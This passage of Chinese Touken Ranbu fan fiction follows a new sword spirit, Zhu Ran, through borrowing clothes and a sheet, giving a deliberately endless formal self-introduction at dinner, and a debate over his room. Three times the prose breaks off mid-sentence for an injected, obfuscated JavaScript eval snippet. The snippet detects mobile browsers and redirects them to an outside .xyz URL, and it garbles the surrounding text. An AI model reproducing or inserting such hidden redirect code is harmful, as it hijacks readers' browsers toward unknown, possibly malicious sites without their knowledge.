“又不是光脚,有什么问题啊!”鹤丸相当不解,他刚刚一直在祝染的默认下和对方勾肩搭背,还以为新刃其实是很随和的那派,现在简直出乎意料。 但是鹤丸对此接受良好,他最喜欢的就是秩序之外的事情,毕竟要是一直过着可以预料的日子,他的心就会先一步死掉。 “非常抱歉,但是绝对拒绝。”白发青年态度坚定,表情十分凝重但声音越说越小:“没有中筒靴的制服裤太丑了…….我绝对不要这么穿,一分钟也不。” 还以为是什么重要原因的众刃都大跌眼镜。 “残次的造型就像烂尾的小说主角突然死掉一样。女王也无法接受。”祝染好像率先说服了自己,单手握拳目光灼灼。 “哈?什么女王啊。”一群日本本土刀们都困惑了,博多藤四郎用他的大阪腔直接问出了声。 “我曾被劫掠到海外,作为献给英国皇室的礼物。”说到这个话题祝染情绪变化十分无端,他叹了口气继续解释道: “虽然后来因为国籍问题不适合作为皇室藏品,被送到了博物馆,但是我也在皇宫内待了相当久一段时间,还追更了《神探福尔摩斯》呢,结果亲眼目睹作者居然把福尔摩斯写死了,简直不可原谅!” “但是福尔摩斯不是最后假死复活了嘛?”喜欢秘藏和探险也喜欢福尔摩斯的粟田口小短刀信浓藤四郎举手发言道。 时政现在跟现世挂钩紧密了很多,万屋也有现代家电和各国特产在卖,经典小说自然也能买到,粟田口的小短刀们每天晚上都要围着听一期一振讲睡前故事。 “女王当时看到这个结局也无法接受,给作者写了信。而且后来听说,还有读者给他寄刀片什么的,结局最后才改掉哦。”祝染低下身拍了拍他红色的手感密实的头发,把话题又引回了鞋子上,他像是给自己的诉求找到了依据般神情比刚刚还要坚定:“所以说,我绝对不接受穿着这身衣服但不穿靴子。” 公主病吗他是。 “……”但真有点被他说动了。 毕竟作为付丧神的他们也有喜恶,甚至因为本体是坚硬的刀剑,所以他们性格中难免都会有执拗刚烈的一面。 现在祝染这个情况,虽然龟毛但也不是不能理解。 “那你换一身衣服……”一个幽幽的声音从刃群中不太清晰地传出来,裹着白被单的山姥切国广深情莫名有些怨怼。 雨后的空气湿度很高的,他的被单现在感觉潮潮的坠在身上不太舒服,很想去温暖干燥的地方。 “好主意啊山姥切!让染酱换内番服就可以了!”鹤丸眼前一亮,从背后突袭拍了山姥切国广一把,把对方吓得弹跳起来差点摔进祝染怀里。 “干什么啊鹤丸!”自闭的被被被逼急了也是会大声抱怨的。“别碰我!” 短刀们和鲶尾藤四郎也兴奋地点头,觉得找到了解决问题的好方法。 “但是,我们的内番服是时政分发的,祝染还没有哦?”刚刚去送茶点已经简单了解了情况的烛台切光忠靠谱开口。 “没关系呀,可以先穿我们的,阿路基不是给我们买了很多嘛。”今剑思维敏捷头脑转得飞快。 众刃低头看看小短刀白色的发旋,又抬头看看祝染,一切尽在不言中。 短刀组,out。 率先被淘汰的粟田口小短刀们和今剑十分不悦地退出了比赛圈,他们从来没有想过自己会因为身高被淘汰,包丁藤四郎甚至扬言要偷一期尼的衣服养祝染,但显然只能是说说,兄弟之间情感深厚自然就更要相互理解,还是要尊重兄长意愿的。 只是……超可惜啊!明明也是军装制服风格,还是从大阪城地下挖出来的,怎么就不是他们的兄弟呢,还不能一起穿同系列内番服。 兄弟众多还想要摩多摩多的粟田口刀派非常遗憾。 身高一米八六宽肩窄腰条顺盘靓的长船派光忠也自觉退出了比赛。 不愧大家说长船出牛郎,他们派除了打刀山姥切长义和短刀谦信景光,就没有低于一米八的,实休光忠甚至接近一米九,低头看人的时候压迫感十足。 最后只剩下了鹤丸国永和山姥切国广。 前者其实稍微高一点,但好在衣服是和式的宽松款。后者简直不要太合适,他如果和长义、祝染三个刃站在一起,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411471|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个微妙的Wi-Fi信号。 三个刃身高以1cm的高度小幅度递增。 鹤丸国永对于自己明明是太刀却和打刀在身高比赛中并列获胜一点也不在意,他只要能赢就会很开心。此时他高高兴兴地揽过祝染的肩打趣道: “染酱穿了鹤的内番服就来给鹤当双胞胎兄弟吧,正好白白的也很合适哦。” “好呀好呀,正好我也很寂寞呢。”祝染也很轻易地就接受了这份异父异母的血缘邀请,两个刃亲亲热热地抱在一起晃来晃去。 别说,两个从发丝到睫毛全都雪白雪白的白毛,凑在一起看起来还确实有几分相似,只是眼睛的颜色差别很大,最后气质也相差甚远。 鹤丸国永像名字一样,如鹤般轻盈飘逸,金黄色的眼睛中透露出自由自在的光芒,很容易就让人联想到野生动物。 祝染……如果硬要形容,脑子里会蹦出的第一个词居然是樱吹雪。 付丧神们心情极度愉悦的时候,会控制不了的头上飘樱花花瓣的景象,就像下雪一样,故得此名。 但是祝染真的就像这幅景象描述的一样,眼睛里是绚烂的粉色风暴。 有点想看祝染樱吹雪啊。大家莫名想到了一起。 莫名其妙地在莫名其妙的比赛里胜出了、但感觉身高被羞辱了的山姥切国广,趁鹤丸和大家被祝染吸引了注意力,顺利地挤出了刃群,思考着要不要趁现在逃回部屋。 在拐角处伫足凝望一会儿后,他认命地叹了一口气,去拿自己多余的内番服。 但是无论如何,被单是不会给他的。 毕竟对方看起来很健谈活泼,出身也很优秀的样子,也不会像他一样……需要被单吧。 被被攥紧了他的被被在心里默默决定。 但最后,还是部屋离烛台切光忠很近的鹤丸先带着祝染去换了他的内番服,毕竟他们曾经同为伊达政宗公所有,关系亲近自然也住得近。 已经很久没有穿过和装的祝染在鹤丸的帮助下穿好了内番服,还把高马尾也散了下来,手指灵巧地用乱藤四郎赞助的小皮筋松散地扎了个低丸子盘在脑后。 他坚持发型也要跟衣服匹配才行。 乱藤四郎在一旁用一种妈妈看女儿般欣慰又骄傲的眼神看着,觉得新刃真是品味颇好。 其实乱对他的理念一开始就很接受,他外形就像女孩子一样秀气,喜欢穿漂亮的裙子,连甲冑也是粉色,是付丧神中出了名的爱漂亮,这时候很顺水推舟地就跟祝染讨论起了关于怎样配合穿搭改变发型的话题。 而早早出国没有被江户时期半剃头的“月代头”荼毒过审美的,还了解很多欧洲时兴盘发的祝染,在这个话题简直权威得可怕。 早已经对乱藤四郎习以为常的小短刀们都接受良好,只要有乐子什么都可以接受从某种意义上更恐怖的鹤丸也努力融入其中,学习一些也许整人能用上的造型技巧。 在祝染提到英国曾经流行过要把模型船顶在头上的超夸张发型的时候,他的心动已经无法掩盖了,简直火辣酷毙啊。 “女高中生吗……你们是。”拿着内番服归来的山姥切国广回来的时候就是这样的氛围。 “被被先生——欢迎回来!”已经跟在场付丧神们了解了很多本丸知识,还顺便恶补了一下日本史的祝染相当自然地向他笑着挥手欢迎他,其他刃也迅速小幅度地挪动着让出可以坐下的位置。 山姥切国广,虽然害羞但是非常可靠的,受大家喜欢的初始刀,超帅的。 “谁是被被啊……别看我。”山姥切国广猛地被人超大声呼喊,身体一僵瞬间修红了脸单手蒙紧了被单恨不得立刻隐身,但另一只手还不忘把内番服递给祝染。 “欸——!没有被单吗!”祝染接过内番服,很惊讶地发出质疑。 “没有。”山姥切国广在他对面坐下,偏过头去不去看他。 “可是被单好帅呀,人家超想要呢……失落失落。”假装女高中生的祝染假装失落,装作很伤心垂泪的样子倒进了鹤丸怀里。 鹤丸国永也很配合他地揽着他的背轻拍着,装出遗憾伤心的样子:“小染……想哭就哭吧,鹤的臂膀给你依靠。” 完全是道德绑架啊你们两个。 哪有人的失落是自己读出来的啊。 为什么得不到被单就要哭啊。 山姥切国广累觉不爱。 一整个下午,一群经历了半流浪的刀剑们坐在温暖干燥的部屋里,团团围坐在矮桌前吃着烛台切光忠提供的小点心,嬉笑打闹,五虎退的小老虎窝在大家中间,幸福地眯起了眼。 7. 七舅姥爷这里有可恶京都男 本丸食堂的灯光明亮温暖,桌子上已经摆好了今天的菜肴,无论是出阵、远征还是内番,忙碌了一天后的付丧神们都三三两两地结伴往食堂内走去。 而他们的审神者桃濑灯里也没有闲着,她和山姥切长义、压切长谷部、一期一振、还有路过的人道主义者松井江、从政府述职回来的政府刀源清麿、水心子正秀,硬生生组出来了一个六刃带一审的标准小分队,与公文酣畅淋漓大战一天,过着男写女批的原始生活,现在每个人的脸上都是对世俗欲望的厌倦。 卖命工作的生活没有一点甜头,好减脂。 如果不是想到还有食堂烛台切光忠和歌仙兼定的晚饭在召唤,现在就已经站成一排在天守阁cos沈明珠荡秋千了。 桃濑灯里和一众付丧神筋疲力尽地朝食堂走去,却看到食堂门口聚集了小部分的刃群——是来派的三人,和江家的村云江、五月雨江,他们像在犹豫什么一样,迟迟无法迈出步伐。 而听到脚步声的刃群们也齐齐回头望去,看到是桃濑之后很激动地招呼她上前。 “姬君!雪女显灵了!”来派的小短刀爱染国俊很激动,他和萤丸一左一右抱着桃濑的胳膊把她拉到了最前面。 雪女似乎是和“山姥切”中的山姥一样的妖怪,为什么要这么兴奋啊。 “太好了是雪女,我们要不别吃饭了回去吧。”明石国行懒洋洋地把身子靠在门框上,语气平淡根本看不出什么高兴的意思,他相当消极地提出了完全不相关但是对他来说可以回去睡觉的建议,作为来派的监护人起到一个站桩的作用。 村云江和五月雨江垂在身后的尾巴警惕地不停摇摆。 桃濑灯里颇为没有道德地先撸了两江的狗头,才顺着光线向里看去。 那人静静地伫立在食堂的桌前,通身雪白,宽袖松垂,衣摆轻轻曳地,外面还披着一条白单,布料层层叠叠,随着他的动作微微摇曳,把他整个人笼进洁白的光影,像是一场静雪。 眉目清冷,白得过分的发丝从肩头吹落下来,肌肤也白得在温亮的灯光下接近透明。 他眼底的粉色反倒像是雪夜里偶然掠过的一点霞色。 刹那间,食堂安静得连晚风吹过的声音都清晰可见。 众刃下意识地屏住了呼吸。 桃濑灯里愣在原地仔细打量了一下“雪女”的真面目,好一会儿才憋出一句话: “祝染,你是怎么拿到被被的被单的。” 毕竟歌仙兼定对此觊觎已久,都很难得手。 九九成,稀罕物啊。 如果说本丸里山姥切国广第一喜欢这条被单的话,那歌仙绝对排得上第二,想清洗干净的执念久久不散。 “凭本事求来的。”对面的人眨巴着眼睛很诚恳地有问必答。 没错,雪女其实就是祝染。他穿着鹤丸的内番服,又软磨硬泡来了山姥切国广的被单,所以此刻才看起来一身雪白。 而原本和他一起开茶话会的小短刀们各回各的部屋和兄弟们一去来食堂了,鹤丸和山姥切又被烛台切光忠拜托了一起去后厨分餐,所以才会剩下他一个刃在这里装神弄鬼。 被喊破身份的祝染伸手把被单从头顶揭下,露出明朗的笑容向桃濑灯里扑去,那份属于雪女的冷艳顷刻破碎,变成春日里破雪的阳光: “姬君大人——!好久不见,人家想你啦。” 被山姥切长义抬手和压切长谷部联手制止了,两人上前一步抬手架刀将他拦在半步之外。 履历成谜,过分热情,绝对居心不良!压切长谷部很警惕地盯着他。 “真的吗,那谢谢你哦。”桃濑灯里倒是很适应这人阴晴不定的精神状态,无奈地揉了揉眉心,毫无灵魂地敷衍道。 这方面还蛮像兔子的,激动了撞人,高兴了咬人,不动不闹的时候就是在预谋使坏,动物界有自己的小号比格。 萌系爱好者桃濑灯里无情兔塑祝染。 食堂灯火通明,能回来的付丧神们都齐聚一堂,晚膳刚刚端上桌还冒着热气,他们按照以往的习惯三三两两纷纷落座,然后将目光齐刷刷地聚集在桃濑灯里的身上。 本丸的食堂设计的很有创意,还有小舞台和电子屏,平时可以用来唱ktv,喝多了的次郎太刀和日本号很喜欢在这里趁着酒意一展歌喉。 是桃濑灯里在建造的时候刚好上了大学,特别借鉴了大学食堂的结果。 此时,桃濑灯里作为本丸的审神者站在台上,大刀阔斧高谈阔论地主持着局面: “今晚我们齐聚在这里,是为了庆祝顾里的生日……不对,是为了介绍新来的付丧神。”期末周没少看剧的坏处在此时显现出来了,险些说错话的她正了正表情找补道:“祝染,你先自我介绍一下吧。” 祝染原本坐在鹤丸的旁边,此时听到她的指令,顺从地站起身来,脊背笔直,微微躬身行李致意,粉色的眼眸在灯光下闪着光,声音清越,表情也是一派温和端正: “诸位前辈躬耕于内番、外务、膳食、清扫诸务,亲炙日光、雨雪风霜,实乃勤恳不辍之贤者,承蒙诸位今日拨冗莅临,得以与各位共襄一席,一同共享这份珍贵的餐食与交流的时光,实在是万分荣幸、不胜惶恐,在此谨以卑微之身、拙劣之语,表达谢意中万分微薄之一二。” 语调高低起伏,像唱歌一样,耳熟又陌生。 似乎是京都腔。 姿态也很谦卑,但内容似乎不太对,但是具体说了什么好像听见了,但是又很丝滑地从大脑皮层滑过去了。 很多刃和桃濑灯里开始放空大脑宇宙猫猫思考,但还是努力地竖起耳朵试图消化。 离他最近的鹤丸靠在桌沿偷笑,和祝染堪称一见如故的他已经意识到了这家伙想干什么,事情喜闻乐见地往他喜欢的方向发展了。 “鄙刀拙名祝染,藤原氏刀工祝部国秀受命为六条天皇陛下所铸造的供奉于神祇之拙作,国秀十生有幸得陛下厚爱,为祈福人间安宁,敬拟拙名,寄托以吉祥之色护佑万民之美意,是否有文献支持迄今已经不可考证,在下亦不敢妄自揣测,只愿望诸君能以此一名呼唤时,不嫌拗口,垂耳恭听,不成敬意。” 说到这里,祝染微微停顿似乎是在继续措辞。 明石国行的头已经开始像上高数课的现世学生一样小鸡啄米,萤丸和爱染国俊虽然也没听进去,但是还是悄悄地在桌子下戳他,让他保持来派礼貌的门面。 而下午跟他玩得还算愉快的今剑已经有些困倦了,头靠在岩融的肩膀上开始数头顶食堂吊灯的水钻。 三日月宗近倒是神色自若地继续喝茶,面上笑意清浅似乎在仔细倾听。 自诩比较可靠的几把政府刀和近侍刀还在面色严肃地倾听,但是仔细看去眉头都皱了起来。 桃濑灯里莫名共情自己做六级听力。 “至于来历,若要赘述,恐怕要劳烦各位听上三日三夜也难以详尽——不过既然今日是初次见面,不妨仅以寥寥数语交代:鄙刀虽有幸生于东土,然后半生辗转西洋,有幸得入本丸,对规矩尚未熟知,若有言行不敬、不周、不谙礼仪,敬请诸位前辈届时务必以鞭策教诲之意,不吝斥责。” 说到这里,他鞠了一躬。 此时,不少像膝丸这样性子比较直爽也比较急的刃已经面露呆滞。 而膝丸旁边的髭切却饶有兴致地撑着下巴,像是看戏。 连想来温和稳重的石切丸,都偷偷在桌下双手合十低声念叨着“天照大神在上……请求赐予我耐心。” “哈——”今剑实在撑不住了,直接倒进了岩融的怀里,“是不是…….是不是结束了……?我刚刚好像听到了春天的鸟叫了。” “哈哈哈,只是你饿出幻觉了。”旁边的三日月宗近一语中的。 “现在本丸是秋天。”岩融伸手盖住了今剑的眼睛,让他撑不住就睡一会儿吧。 祝染仍旧滔滔不绝,客气但没用的敬语像甩卖一样往外冒: “今日之初见,诸位之贤明、仁厚、辛劳,令鄙刀敬仰不已,鄙刀无从回报以等量之恩情,心中仍觉愧对各位长久以来的辛勤。若在未来岁月里,得以共奉一方、效力本丸,尽绵薄之力,则为幸甚。然而末学资质愚钝,内心十分惶恐。虽说今日能够在此安身立命,实乃三生有幸,如能分担些微劳作,或在出阵之时助一臂之力,便是鄙刀最大的欣慰。倘若言行之间不慎冒犯,还望海涵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411472|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包容,今后还请多多关照,恳请赐教。” 他顿了顿,目光环视过众人,又迅速弯下腰低下头去去,像是怕空气不够恭敬。 第几次鞠躬了,是在拜天地吗。 祝染的自我介绍就像年级主任开会一样的冗长和官方,许多坐得近的刀剑已经交头接耳开启了小差。 新选组的桌位上,和泉守兼定张了张嘴,又谨慎地闭上,放低音量问旁边的堀川国广:“国广……他说完了吗?” 堀川国广面色凝重地摇摇头,伸手搭在和泉守兼定的手上轻拍安抚。 大和守安定觉得自己刚刚好像环球航行了一圈,不然此时怎么会对日本语如此陌生又违和,他开始回忆,但语气相当痛苦:“这家伙叫什么名字来着?” 加州清光翻了个白眼:“说了一大堆,重点就一个啊——他叫祝染。” “最后,鄙刀再谨以最谦卑之心,鞠躬一礼:诸位前辈、同侪、厨房诸君、各位守护本丸之刃——请多多关照。今日初次拜会,望日后共事之时,笑言嬉戏、指点教诲皆不吝赐予,鄙刀定当铭记于心,力行不懈。” 听到时间定语的众付丧神们精神为之一振,虽然什么都没听进去,但至少要结束开饭了。 从来没有觉得烛台切光忠做的饭有这么香过,食物的香气弥漫在相当煎熬的空气中若即若离,简直诱人得是犯罪。 而此时眼看着祝染看着话语未尽,又要开始弯腰鞠躬,他们又无望地开始泄气。 而祝染在躬身抬起后,打破了刚刚面无表情的严肃,嘴角微微勾起笑意,眼底闪过了一抹狡黠的笑意: “啊——鄙刀,祝染,今日初次拜会,自我介绍言尽于此,今后还请诸位多多关照。” 食堂顿时响起无比热烈的掌声,每个刃的脸上的表情都诚恳真挚。 简直是恍如隔世。 把所有人刚刚的痛苦和煎熬都尽收眼底的鹤丸已经笑趴在桌上,脊背起起伏伏:“哈哈哈……染酱,这个自我介绍真是好大一个惊喜啊!” 桃濑灯里听到掌声和鹤丸的如梦初醒,迷迷糊糊地问道:“讲完了……?” 白天卖命工作,晚上还要听祝染用拗口难懂的京都腔念比命都长的自我介绍,她听到一半就已经靠在山姥切国广的肩上昏昏欲睡了。 山姥切国广拽紧被单,顶着压切长谷部羡慕又愤恨的目光僵硬地小幅度点点头,低声道:“讲完了。” 光是自称都换了五六个,全程听到尾的山姥切国广已经精神恍惚了。 桃濑灯里拍了拍脸让自己打起精神,尽职尽责地站起身来结合她上午的谈话信息给大家总结道: “好了,总之这位来自平安时期的可恶留洋京都男,作为暂未实装的刀剑,被政府暂时寄养到了我们的本丸,就是我们本丸的一份子了,大家多多关照。” 语言干练,信息量极高。 听姬君一席话,胜听十席话。 “欸——!!!” 众刃先是感动地点头认同,然后不约而同发出目瞪口呆的惊叫。 桃濑灯里和他们面面相觑,大眼瞪小眼,不太理解他们为什么这么惊讶,祝染不是已经自我介绍过了吗。 “祝染殿……未实装吗?”南海太郎朝尊向来讳莫如深的表情也有点僵硬,作为政府特命调查员的他很清楚这意味着什么——未知的风险。 “暂时寄养吗,很有趣呀。”另一个可恶平安京都男髭切操着软绵绵的嗓音感叹道。 “哈哈哈,姬君还真是话语间杀伐果断。”又是一个可恶平安京都男三日月宗近笑眯眯地夸着桃濑。 看众人一知半解的样子,已经明白了祝染刚刚那一大段话废话含量比她想象中还要高的桃濑灯里把杀人的目光投向了祝染。 祝染迎着她的目光,面上又带上了灿烂的笑容,朝她眨了眨眼。 这家伙是故意的。 桃濑灯里秒懂,并步履从容地走过去给了他和鹤丸国永一人一拳,宣布先开餐,其他问题餐后再说。 为什么要带着鹤丸,大概是因为两个人都笑得很可恶吧。 经过了京都冗长敬语演讲的折磨,空气中充满了欢愉的气息。 8. 七舅姥爷这里有小熊猫 晚饭撤去,食堂里的热闹的气氛却没有消褪,在饭前被祝染折腾了一顿、对新伙伴感官很微妙的付丧神们没有着急离开,反而自然而然地搬着凳子,在小舞台边上围成了一圈,闲谈间话题落在了祝染身上。 就在刚刚,祝染顶着压切长谷部虎视眈眈的目光,在鹤丸的帮助下,强行突破重围挤到了桃濑灯里旁边的位置。 “小染!快走!带着鹤的希望去吧!!!” 所有刃里最活跃的,莫过于显然是笑够了也吃饱了的鹤丸国永,他现在一身使不完的牛劲,一边左右横跳伸长胳膊搂住压切长谷部的上身对他进行防守,一边见缝插针地伸出另一只手演自我牺牲的悲情战友。 “鹤丸——!”祝染也伸出了他的手,声音悲切,隔着已经要被鹤丸勒死的风中残烛般的长谷部,和鹤丸遥遥相望。 气氛渲染到下一步简直要执手相看泪眼然后天人永隔了。 但是表演归表演,祝染依旧稳稳地坐在桃濑灯里身边,上半身演得情真意切,下半身继续坚如磐石。 最佳视角欣赏两个刃的苦情戏的桃濑灯里想笑又不敢笑,艰难地思考着如果他们两个被长谷部压切的话,自己该摆出什么表情。 压切长谷部,是一把忠心耿耿的、典型的主控刀——上得厅堂下得厨房,只要能和审神者待在一起,即使帮忙处理繁琐的公文都会樱吹雪,完全不会拒绝主人的任何要求。 甚至如果不是审神者们会因为羞耻选择拒绝,他也很愿意抱着审神者行走,让主人连脚都不需要沾地。 而据一些精神状态相当自由的、体验过这项服务的同事分享,作为打刀的长谷部的机动出乎意料得高,跑起来风驰电掣完全不逊于短刀,从此在审神者间流传着“梦幻坐骑长谷部”的美谈。 综上所述,时政论坛上大部分审神者都会把压切长谷部这把“主命至上”的刀,作为忠犬系的典型。 但他并非只有对审神者千依百顺的一面,恰恰相反,狂气自信才是压切长谷部的底色。 作为曾经有“第六天魔王”之称的织田信长所拥有的刀,他锋利到能将柜子和藏身其中的僧人一起劈成两半,因此得名“压切”。 而后来,他被织田信长送给了当时连直臣也不是的黑田家,一直对织田信长感到不满,也迁怒觉得“压切”这个名字十分野蛮,不愿意让人这样称呼他,似乎也是因此变得格外计较主人对他的态度,想要证明自己的价值。 好在虽然有着被转赠的经历,但压切长谷部却并不缺少主人的爱——历史上的黑田家对他万分珍惜,奉为传家之宝,他也因此保留了性格中骄傲自信的一面。 所以,他对主人信任的渴求并不是沙漠在汲取即将干涸的水源那种病态的依赖性,而是更像为本身就足够闪耀的自己证明。 锋利,坚定,自信,正直。 这就是压切长谷部这把刀本身。 而在化为付丧神后过于能干的他,更是被誉为“废审制造机”,是每个本丸都可靠的存在。 但是,话虽如此,眼前可怜的压切长谷部,已经像他总是挂在嘴边埋怨的前主人一样,头冒魔王般的黑气了啊喂。 桃濑灯里不忍直视。 好在两个刃适可而止见好就收,长谷部也不想在姬君面前表现出血腥暴力的一面,他只是狠狠地给了鹤丸一个后肘击,就姿态骄傲地搬着凳子坐进了桃濑灯里旁边的其他位置。 是山姥切国广裹着被单给他挪的。 毕竟饭前介绍的时候,没能给主君当上枕头压切长谷部的怨气就很大。 今晚,C7418号本丸于食堂召开专项会议,主要围绕新刃祝染的安置问题展开民主协商,审神者桃濑灯里同志亲自主持会议并发表重要讲话,强调要始终坚持“刀剑同心、和谐发展”原则,以提升本丸全体刀剑男士幸福感为出发点,科学规划、合理分配资源,让祝染感受到本丸大家庭的温暖,为维护历史争议做出更大更新的贡献。 “那么,他住哪里?”虽然不知道桃濑灯里为什么要演这一出,是不是下午批文件批疯了,但是职业素养极佳,党性修养更强的、一直在抱着胳膊听领导讲话的专业公务员山姥切长义同志率先发问,一语中的。 “本丸现在的部屋都是满的,扩建的话也需要时间。”一期一振正襟危坐,但抱着弟弟的小老虎手下动作十分温柔娴熟地一边梳毛一边开口补充道,另外四只还没有排上队的小老虎着急地趴在他的腿边伸爪子扒拉他的裤脚,被五虎退慌慌张张一把搂回了怀里。 “打地铺?”和泉守兼定随口提到。 “怎么可以随便让人家打地铺!”都不需要思考,祝染自己先迫不及待地跳出来反驳,双手捂面故作娇弱地从指尖缝隙看向桃濑灯里,目光盈盈地落在她身上: “人家初来乍到,其实内心特别脆弱惶恐,如果一定要打地铺的话,那也得是姬君陪着,走廊就可以,人家不挑。” 图穷匕见,然后被桃濑灯里无情地miss了他的眼神攻击:“好主意,驳回。” “让新人睡地铺确实不好,不能表现出我们的友好团结。”长谷部严肃地主持大局,颇有成熟的话事人风范:“哪怕是主君的房间门口万分光荣,但也还是简陋地铺,太失礼了。” “所以,我认为新刃必须要有独立房间,或者至少与可信赖的刀剑共处,以便互相帮助尽早熟悉本丸事物。” 其实就是不想让祝染睡桃濑灯里附近的压切长谷部正义凛然。 “可信赖的刀剑?”被压切长谷部的痛击后缓了有一会儿的鹤丸立即举手,笑嘻嘻地凑过来自荐:“这完全就是鹤,可靠,自律,还和染酱关系不错,让我们住一起绝对会惊喜连连的!” 鹤丸国永到底能不能意识到这几个形容词跟他一点关系也没有,就只有一句和祝染关系好是实话。 在跟祝染对谈的时候,桃濑灯里就察觉到了他的本性也是有点爱搞事的,跟鹤丸国永应该会很玩得来,而知道祝染会暂时留下后,她也做了觉悟本丸从此会永无宁日,所以他们两个一见如故关系突飞猛进是她的意料之内。 但她的心理准备显然是做少了,谁都没办法接受批了一天公文后本丸多出来一对恶趣味相投的白色双胞胎的冲击。 “鹤丸先暂缓,还有其他备选吗?”桃濑灯里面对祝染的提议无情拒绝,也对鹤丸一视同仁地实施镇压。 她把目光投向其他付丧神们。 说实话,可靠可信在本丸并不是什么很珍贵的品质,绝大付丧神都能满足条件,但是,刃不会无缘无故与生俱来地可靠,他们一定是被信赖着所以才慢慢培养出这样的能力,所以他们原有的居住条件不好调整,很多已经跟自己的家人住在一起的付丧神们就因此被排除了,包括家族刃丁兴旺的粟田口一期、长船派的烛台切光忠,和住在一起的新选组。 还有一些现在远征不在的付丧神也要被排除,不然回到部屋之后发现一个陌生室友也太地狱了,又会是一场血战。 她最先看向了最早来到本丸的初始刀山姥切国广——他们从最开始开荒时期就称得上相依为命。 被被因为作为仿刀的缘故一直很缺乏自信,但并不会因此自暴自弃拒绝去付出自己的努力,他其实工作能力很强,不管是处理公务还是作为队长带领出阵,都能尽心尽力地完成,甚至会因为被交付了责任而更加卖力冲锋陷阵,总是把自己弄得伤痕累累,非常地可靠且强大。 谦卑和努力地做得更好,是山姥切国广的常态。 而在知道他的故事之后,桃濑灯里会一遍又一遍地夸奖他,告诉他他并不会因为是仿刀就比任何刃差,是名副其实的国广的第一杰作。 内敛的被被虽然总是说着不要看他、不要夸他漂亮之类的话,但他其实更需要被看见。 桃濑灯里甚至曾经还和山伏国广一起拉着他谈心,在“咔咔咔”的笑声中喝多了,拍着胸脯也跟着喊他“兄弟”,做足了肝胆相照这一块。 金发青年此时正沉默地把自己缩进了被单里低着头,漂亮的碧绿的眼睛藏在阴影下不跟任何人对视。 看来虽然被被会把自己的被单分给祝染,但他现在的姿态是还不打算和这位新的付丧神当室友。 当然,如果强行交给山姥切国广,他一定不会拒绝。 但桃濑灯里果然还是想让被被生活得更自由一点,内敛无所谓,只要不影响到心理健康,按照自己喜欢的节奏就很好。 看完了被被自然要看本本,这就是审神者端水的智慧。 桃濑灯里又看向山姥切长义。 作为本歌的公务员小伙和被被截然相反,是美丽骄傲且自信满满的。 作为刀来讲,他能被刀匠精细地刻下长达五十八字的刀铭,可见其满意程度,称得上是毕生心血中的最佼佼者也不为过。这份人尽皆知,连他自己也知道的优秀,让本作长义不管面对什么困难都会自信满满。 而在聚乐第的特命调查中,作为时政的监察官他和桃濑灯里虽然没有直接并肩作战,但在情报与探查上也非常出色,工作能力自然不必多说。 但自信的本本在做室友这一块缺点也很明显,一方面个性强烈的他有些独断专行,如果不是很随和的刀剑可能会无法包容他,而祝染这一天都没演完的公主病显然不在此列。 另一方面,本本是时政的公务员,虽然已经来到了这个本丸、但依旧给时政工作的忙碌的公务员小伙显然不适合和黑户住在一起,起码现在不行。 桃濑灯里简直不敢想本本辛苦工作一天回到部屋发现一个黑户披着白色被单像蟑螂一样优哉游哉地躺着,会不会一怒之下直接把祝染逮捕送公,然后祝染喜提铁窗泪,桃濑灯里喜提本丸降级。 同理,其他政府刀也暂不考虑。 虽然是时政说的暂时寄养,但毕竟祝染还没有合法身份,而且祝染显然也有自己的隐秘,偏偏这个家伙还很喜欢故弄玄虚装神弄鬼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411473|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的东西都劲爆得很,如果不是警匪片和侦探片爱好者还是不要这样安排了。 然后桃濑灯里还是忍不住看了看一期一振和他的一群弟弟,又在眨眼之间几乎没什么波动地就立刻否定了。 如果捡的是把短刀的话,卖惨丢给一期一振还勉强强说得过去,但是一期哥如果带弟弟的同时,还要带一个老大不小的比格祝染,就有些太苦命了。 难道祝染要跟着包丁、博多他们一起排队洗漱,然后听一期一振讲白雪公主的睡前故事吗。 画面实在太美,桃濑不敢想。 虽然作为粟田口吉光的荣耀的太刀青年堪称是最强付丧神保育员,能够游刃有余地照顾好十四个弟弟,还能兼顾近侍的工作,但是支持一期一振刃权。 三日月宗近?更是不可能。 这个家伙虽然活得久也很有岁月沉淀的智慧,大事上杀伐果断无比可靠,但是在日常生活中就是个躺平的老爷爷,跟明石国行放到一起也算是另一种意义上的懒了。而且三条派的部屋人也不少了。 把他跟祝染放到一起,祝染学会逃番尬笑简直指日可待。 